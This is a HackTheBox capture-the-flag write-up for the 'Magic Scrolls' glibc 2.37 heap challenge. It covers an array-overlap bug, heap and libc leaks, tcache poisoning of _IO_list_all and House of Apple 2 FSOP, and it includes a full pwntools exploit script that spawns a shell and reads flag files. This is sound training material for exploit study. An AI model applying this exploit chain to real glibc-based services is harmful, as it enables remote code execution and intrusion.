Magic Scrolls
hackthebox
Task: glibc 2.37 menu-based heap pwn where a global magic_numbers[] array overlaps the spells[] pointer table, giving an arbitrary 8-byte write into two heap-pointer slots. Solution: build arbitrary read/free primitives from the overlap, leak heap (safe-linking) and libc (unsorted bin), perform a double-free-key-safe overlap-poison tcache write of _IO_list_all, and trigger House of Apple 2 FSOP via exit() for a shell.
$ ls tags/ techniques/
Magic Scrolls — HackTheBox
Description
Legends say that if magical numbers align in the right sequence, magic will happen.
A medium-difficulty heap-exploitation challenge. We are given a PIE ELF64 binary magic
(not stripped) bundled with its own loader and libc (Debian GLIBC 2.37-7), plus a Dockerfile
(ubuntu:22.04 + socat). The remote service runs:
socat tcp-l:1337,reuseaddr,fork EXEC:./magic
Goal: pop a shell on the remote and read flag.txt.
Analysis
Protections
Full RELRO | Stack Canary | NX | PIE
Crucially the libc is glibc 2.37, where __free_hook and __malloc_hook have been
removed (the symbols may still exist but are never dereferenced by the allocator). That kills
the classic hook-overwrite RCE path — code execution must come from FSOP (we use
House of Apple 2).
Program behavior
main first reads a "magic charm":
read(0, buf, 0x40); if (strcmp(buf, "Alohomora") == 0) power = 4; // unlocks the bug
Then a 6-option menu loops:
| Opt | Name | Effect |
|---|---|---|
| 1 | update_magic_numbers | write a magic number, and (if power!=0) project two of them onto spells[0]/[1] |
| 2 | create_spell | size=read(0,buf,0x1ff); spells[c]=malloc(size); memcpy; c++ |
| 3 | remove_spell | free(spells[idx]); spells[idx]=0; spell_len[idx]=0 |
| 4 | read_spell | print super_spell_len-1 bytes from super_spell (arbitrary read) |
| 5 | set_favorite_spell | first call selects a spell; later calls only refresh the pointer |
| 6 | exit | exit() |
Global memory map (offsets from PIE base)
0x5010 super_spell_set int32 (init -1)
0x5060 magic_numbers[0..3] 4 x int64
0x5080 spells[0..15] 16 x ptr <-- magic_numbers[4] == spells[0]
0x5100 spell_len[0..15] 16 x int64 magic_numbers[5] == spells[1]
0x5180 super_spell ptr
0x5188 spell_count int32 (monotonic, NEVER decremented)
0x5190 super_spell_len int64
0x5198 power int32 (0 default, 4 after "Alohomora")
The core bug — array overlap
The title's "magical numbers align in the right sequence" is a hint: magic_numbers[] is only
declared with 4 logical entries, but update_magic_numbers projects them onto the next array
in memory, which is the spells[] pointer table:
// inside update_magic_numbers, only when power != 0: if (mn[0]==0 && mn[2]==0) memset(&spells[0],0,1); else spells[0] = mn[0] & mn[2]; if (mn[1]==0 && mn[3]==0) memset(&spells[1],0,1); else spells[1] = mn[1] & mn[3];
So with power=4:
- Setting
mn[0]=V,mn[2]=-1makesspells[0] = V & 0xffff...ff = V→ arbitrary pointer write intospells[0]. - The
memset(...,1)"zero" branch only clears the low byte of the current pointer → a partial overwrite primitive (preserves the high heap bytes).
Because create_spell's size is just read()'s return value (no overflow) and chunk sizes are
fully attacker-chosen, the entire challenge is built on this single overlap write.
Derived primitives
- P1
set spells[0]=V—update(1, V), thenupdate(3, -1). - P2
set spells[1]=V—update(2, V), thenupdate(4, -1). - P3 zero low byte of a heap pointer in a slot — set both contributing magic numbers to 0, triggering the
memset(&slot,0,1)branch (keeps the high heap bytes → turns a chunk pointer into a page/segment-aligned address). - P4 arbitrary read (~0xff bytes) — lock a favorite of length
0x100, then repeatedlyP1/P2the slot to any address andrefresh+read.super_spell_lenstays locked at0x100whilesuper_spellfollows the slot. - P5 arbitrary free —
P1the slot toX,remove_spellit →free(X).
The favorite mechanic is the key enabler of arbitrary read: the length is locked on first
selection, but every later set_favorite call simply refreshes super_spell = spells[idx].
So we point the slot anywhere and read a fixed 0x100-byte window.
Solution
1. Unlock the bug
Send Alohomora to the charm prompt → power=4.
2. Heap leak via safe-linking
create s0 (0x10) and s1 (0x100); set_favorite(1) locks super_spell_len=0x100. Free s0
→ tcache[0x20] with a single entry, so under safe-linking its fd = chunk >> 12 (next pointer is
NULL because it is the only entry). Use P3 to zero the low byte of spells[1] so it points to
heap_base + 0x200, then refresh+read 0x100 bytes. The mangled tcache fd lands at window offset
0xa0, giving heap_base = fd << 12.
3. Libc leak via unsorted bin
Fill tcache[0x110] with 7 freed chunks, plus a guard 0x80 chunk to prevent top consolidation,
then free an 8th 0x110 chunk → it goes to the unsorted bin, whose fd/bk point into
main_arena inside libc. Using P4, scan heap windows for a 0x7f.... qword; recover
libc_base = leaked_fd - 0x1d3ce0 (the main_arena offset). Verify by reading
_IO_2_1_stdout_ + 0xd8 and checking the vtable equals _IO_file_jumps — this confirms the
libc base before any write happens.
Notably, all introspection (heap base, libc base, even the OUTER chunk address during development) is performed with the program's own arbitrary-read primitive, not just gdb — the exploit is fully self-contained and robust on remote.
4. Arbitrary write via "overlap-poison" (double-free-key-safe)
A naive tcache double-free trips the glibc 2.37 double-free detection (the per-chunk
e->key == tcache check). We avoid it entirely by poisoning the fd of a fake chunk that
lives inside a larger chunk we control, so we never free the same address twice:
OUTER(0x1f0 request → 0x200 chunk) is created with a fake0x20chunk header atOUTER+0x40(sizefield atOUTER+0x38 = 0x21).- Create
R20 (0x10)and free it → tcache[0x20] count 1. - P1 sets
spells[0] = OUTER+0x40andremove_spell(0)→ frees the fake chunk → tcache[0x20]:fake → R20(count 2). The fake chunk'sfd(atOUTER+0x40) now holdsmangle(R20). - Free
OUTER→ tcache[0x200]. Then re-createOUTERwith a payload that (a) rewritesfake.fd = PROTECT_PTR(OUTER+0x40, _IO_list_all)and (b) embeds the compact fakeFILEatOUTER+0x50. Now tcache[0x20]:fake → _IO_list_all. create(0x10)pops the fake chunk;create(p64(FB))pops_IO_list_allitself and thememcpywritesFB(the fake FILE address) there — an 8-byte arbitrary write to_IO_list_all.
Why this dodges the double-free key check: we only ever pass each real address to free
once. The "duplicate" entry is the fake chunk header crafted inside OUTER; its e->key field
is attacker-controlled data (just bytes inside OUTER's payload), so the integrity check sees a
clean key and never aborts. The OUTER offset from the heap base is deterministic for this
build (0xce0) because the allocation sequence is fixed; only ASLR randomizes the base, which
we already leaked. The chain uses exactly the 16 create_spell slots (indices 0..15).
5. RCE via House of Apple 2 (FSOP through exit)
FB is a compact fake FILE whose _wide_data points to itself. On exit(),
_IO_flush_all_lockp walks _IO_list_all = FB, dispatches _IO_wfile_overflow →
_IO_wdoallocbuf (because wide._IO_buf_base == NULL) → wide_vtable->__doallocate(fp),
which we set to system. With _flags = " sh", this becomes system(" sh") → shell.
Key fake-FILE fields (compact, _wide_data = FB):
_flags = " sh\x00..."→system(" sh")FILE._mode = 1,FILE.vtable = _IO_wfile_jumps,FILE._wide_data = FB,FILE._chain = 0wide._IO_write_base = 0,wide._IO_write_ptr = 1,wide._IO_buf_base = 0(triggers_IO_wdoallocbuf)wide._wide_vtable = FB+0x18, and*(FB+0x18+0x68) = system
Trigger: menu option 6 → exit() → shell → cat flag.txt.
libc 2.37 offsets (challenge libc)
system = 0x4c920
_IO_2_1_stdout_ = 0x1d4780
_IO_list_all = 0x1d4680
_IO_wfile_jumps = 0x1d0240
main_arena (unsorted fd) = 0x1d3ce0
Environment note
The host was macOS (cannot run the Linux ELF natively). We built a ubuntu:22.04 Docker dev
image with pwntools/gdb and tested there. The binary uses its bundled loader
(interp=./ld-2.37.so, RUNPATH=.), so process('./magic') loads glibc 2.37 correctly without
patchelf.
Full exploit
#!/usr/bin/env python3 """ HackTheBox - Magic Scrolls (pwn) - glibc 2.37 heap Primitives: P1 set spells[0]=V ; P2 set spells[1]=V ; P3 zero low byte ; P4 arb-read 0xff bytes ; P5 arb-free Plan: Alohomora -> heap leak (P3+tcache fd) -> libc leak (unsorted bin, scan) -> arb write via overlap-poison -> House of Apple 2 on _IO_list_all -> shell. """ from pwn import * import sys, os context.arch = 'amd64' context.log_level = 'info' libc = ELF('./libc.so.6', checksec=False) def conn(): if len(sys.argv) > 2: return remote(sys.argv[1], int(sys.argv[2])) if os.environ.get('REMOTE'): h, p = os.environ['REMOTE'].split(':') return remote(h, int(p)) return process('./magic') # ---------- menu helpers ---------- def menu(io, c): io.recvuntil(b'> ') io.sendline(str(c).encode()) def update_magic(io, idx, value): menu(io, 1) io.recvuntil(b'Index for magic number: ') io.sendline(str(idx).encode()) io.recvuntil(b'Magic number: ') if value < 0: value += 1 << 64 if value >= 1 << 63: value -= 1 << 64 io.sendline(str(value).encode()) def create(io, data): menu(io, 2) io.recvuntil(b'Spell: ') assert 1 <= len(data) <= 0x1ff io.send(data) def remove_spell(io, idx): menu(io, 3) io.recvuntil(b'Index: ') io.sendline(str(idx).encode()) def set_favorite(io, idx=None): menu(io, 5) if idx is not None: io.recvuntil(b'Favorite spell: ') io.sendline(str(idx).encode()) def set_spells0(io, value): # P1 update_magic(io, 1, value) update_magic(io, 3, -1) def set_spells1(io, value): # P2 update_magic(io, 2, value) update_magic(io, 4, -1) def zero_low_spells1(io): # P3 on spells[1] update_magic(io, 2, 0) update_magic(io, 4, 0) def _clean(raw): """strip decorative ':-:' + whitespace from read_spell output region""" region = raw out = b'' i = 0 while i < len(region): if region[i:i+3] == b':-:': i += 3 while i < len(region) and region[i:i+1] in (b'\n', b' ', b'\t'): i += 1 if region[i:i+3] == b':-:': i += 3 continue out += region[i:i+1] i += 1 return out def read_spell_raw(io): menu(io, 4) raw = io.recvuntil(b'1) Update', drop=True) return raw def read_at(io, addr, want=0xf8): """P4: read ~0xff bytes from addr (favorite is index 1, super_spell_len locked 0x100).""" set_spells1(io, addr) set_favorite(io) # refresh branch: super_spell = spells[1] raw = read_spell_raw(io) data = _clean(raw[1024:]) # spell bytes live after the leading banner art return data # ---------- exploit ---------- def main(): io = conn() io.recvuntil(b'Enter magic charm') io.recvuntil(b'> ') io.sendline(b'Alohomora') log.success('power=4') # ===== HEAP LEAK ===== create(io, b'A' * 0x10) # s0 -> chunk 0x20 create(io, b'B' * 0x100) # s1 -> chunk 0x110 set_favorite(io, 1) # lock super_spell_len=0x100, super_spell_set=1 remove_spell(io, 0) # free s0 -> tcache[0x20]; fd = (chunk>>12) zero_low_spells1(io) # spells[1] low byte -> 0 (= heap_base+0x200) set_favorite(io) # refresh raw = read_spell_raw(io) data = _clean(raw[1024:]) fd = u64(data[0xa0:0xa8].ljust(8, b'\x00')) heap = fd << 12 log.success(f'heap base = {hex(heap)}') assert heap & 0xfff == 0 and 0x500000000000 < heap < 0x600000000000, 'heap leak bad' # ===== LIBC LEAK via unsorted bin (robust scan) ===== for _ in range(7): create(io, b'C' * 0x100) # s2..s8 (chunk 0x110) create(io, b'D' * 0x100) # s9 (chunk 0x110) -> will be unsorted create(io, b'E' * 0x80) # s10 guard (prevents consolidation with top) for i in range(2, 9): remove_spell(io, i) # fill tcache[0x110] remove_spell(io, 9) # s9 -> unsorted bin libc_base = None for off in range(0x200, 0x1200, 0xf0): d = read_at(io, heap + off) for k in range(0, len(d) - 8, 8): v = u64(d[k:k+8]) if 0x7f0000000000 <= v < 0x800000000000: cand = v - 0x1d3ce0 if cand & 0xfff == 0: libc_base = cand log.info(f'candidate libc fd={hex(v)} at heap+{hex(off)}+{hex(k)} -> base {hex(cand)}') break if libc_base: break assert libc_base, 'no libc pointer found in heap scan' # verify libc base by reading _IO_2_1_stdout_ vtable == _IO_file_jumps libc.address = libc_base vt = read_at(io, libc.sym._IO_2_1_stdout_ + 0xd8) vtable = u64(vt[0:8]) log.info(f'stdout vtable read = {hex(vtable)} ; _IO_file_jumps = {hex(libc.sym._IO_file_jumps)}') if vtable != libc.sym._IO_file_jumps: log.warning('vtable mismatch -> libc base likely wrong, aborting for retune') else: log.success(f'libc base = {hex(libc_base)} (verified)') log.info(f'system={hex(libc.sym.system)} stdout={hex(libc.sym._IO_2_1_stdout_)} ' f'wfile_jumps={hex(libc.sym._IO_wfile_jumps)} list_all={hex(libc.sym._IO_list_all)}') def protect(pos, ptr): return (pos >> 12) ^ ptr def rdq(addr): d = read_at(io, addr) return u64(d[0:8]) # ===== ARBITRARY WRITE via overlap-poison (bin 0x20) ===== # OUTER (0x1f0) contains a fake 0x20 chunk at OUTER+0x40 (size @ +0x38 = 0x21) PAY1 = fit({0x38: p64(0x21)}, length=0x1f0) create(io, PAY1) # idx11 OUTER create(io, b'R' * 0x10) # idx12 R20 (pops s0 from tcache[0x20]) remove_spell(io, 12) # free R20 -> tcache[0x20] count1 if os.environ.get('DBG'): remove_spell(io, 11) # free OUTER -> tcache[0x200] outer = rdq(heap + 0x180) # entries[0x1e] = tcache[0x200] head log.success(f'OUTER_user = {hex(outer)} OFF = {hex(outer - heap)}') io.close(); return # deterministic heap offset (same binary+libc => same layout, independent of ASLR) OUTER_OFF = int(os.environ.get('OUTER_OFF', '0xce0'), 0) outer = heap + OUTER_OFF fake_user = outer + 0x40 FB = outer + 0x50 # fake FILE base (compact, _wide_data = FB) set_spells0(io, fake_user) remove_spell(io, 0) # free fake -> tcache[0x20]: fake -> R20 (count2) # build compact House-of-Apple-2 fake FILE at FB (placed inside OUTER via reOUTER) ff = { 0x00: b' sh\x00\x00\x00\x00', # _flags -> system(" sh") 0x18: p64(0), # wide._IO_write_base 0x20: p64(1), # wide._IO_write_ptr (>base) ; FILE._IO_write_base 0x30: p64(0), # wide._IO_buf_base = NULL -> wdoallocbuf 0x68: p64(0), # FILE._chain = 0 0x80: p64(libc.sym.system), # wide vtable[0x68] (vtable = FB+0x18) 0x88: p64(0), # FILE._lock target (=0) 0xa0: p64(FB), # FILE._wide_data = FB 0xc0: p64(1), # FILE._mode = 1 0xd8: p64(libc.sym._IO_wfile_jumps), # FILE.vtable 0xe0: p64(FB + 0x18), # wide._wide_vtable = FB+0x18 } ff_bytes = fit({k + 0x50: v for k, v in ff.items()}) # shift into OUTER at +0x50 target = libc.sym._IO_list_all PAY2 = fit({0x38: p64(0x21), 0x40: p64(protect(fake_user, target))}, length=0x1f0) PAY2 = bytearray(PAY2) fb = bytearray(ff_bytes) for i, b in enumerate(fb): if 0x50 <= i < 0x1f0: PAY2[i] = b PAY2 = bytes(PAY2) remove_spell(io, 11) # free OUTER -> tcache[0x200] create(io, PAY2) # idx13 reOUTER: pop OUTER, poison fake.fd=mangle(_IO_list_all) create(io, b'Y' * 0x10) # idx14 popfake: pop fake; entries[0]=_IO_list_all create(io, p64(FB)) # idx15 poptarget: pop _IO_list_all, write FB there (8 bytes) log.success(f'_IO_list_all -> {hex(FB)} (fake FILE)') # trigger: exit -> _IO_flush_all_lockp -> fake FILE -> system(" sh") io.recvuntil(b'> ', timeout=2) # menu prompt after last create io.sendline(b'6') # choice >5 -> default -> exit() -> shell sleep(1.0) io.sendline(b'echo SHELL_OK; cat flag.txt; cat /home/ctf/flag.txt 2>/dev/null; cat /flag* 2>/dev/null') sleep(1.0) try: data = io.recvrepeat(4) print('---- shell output ----') print(data.decode(errors='replace')) except Exception as e: print('recv err', e) io.interactive() if __name__ == '__main__': main()
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][free]Ox78— tjctf
- [pwn][free]Funkynator— hackthebox
- [pwn][Pro]iz_heap_lv1 — BSS-pointer overlap + tcache poisoning— spbctf
- [pwn][free]Portaloo— hackthebox
- [pwn][free]priority-queue— b01lersc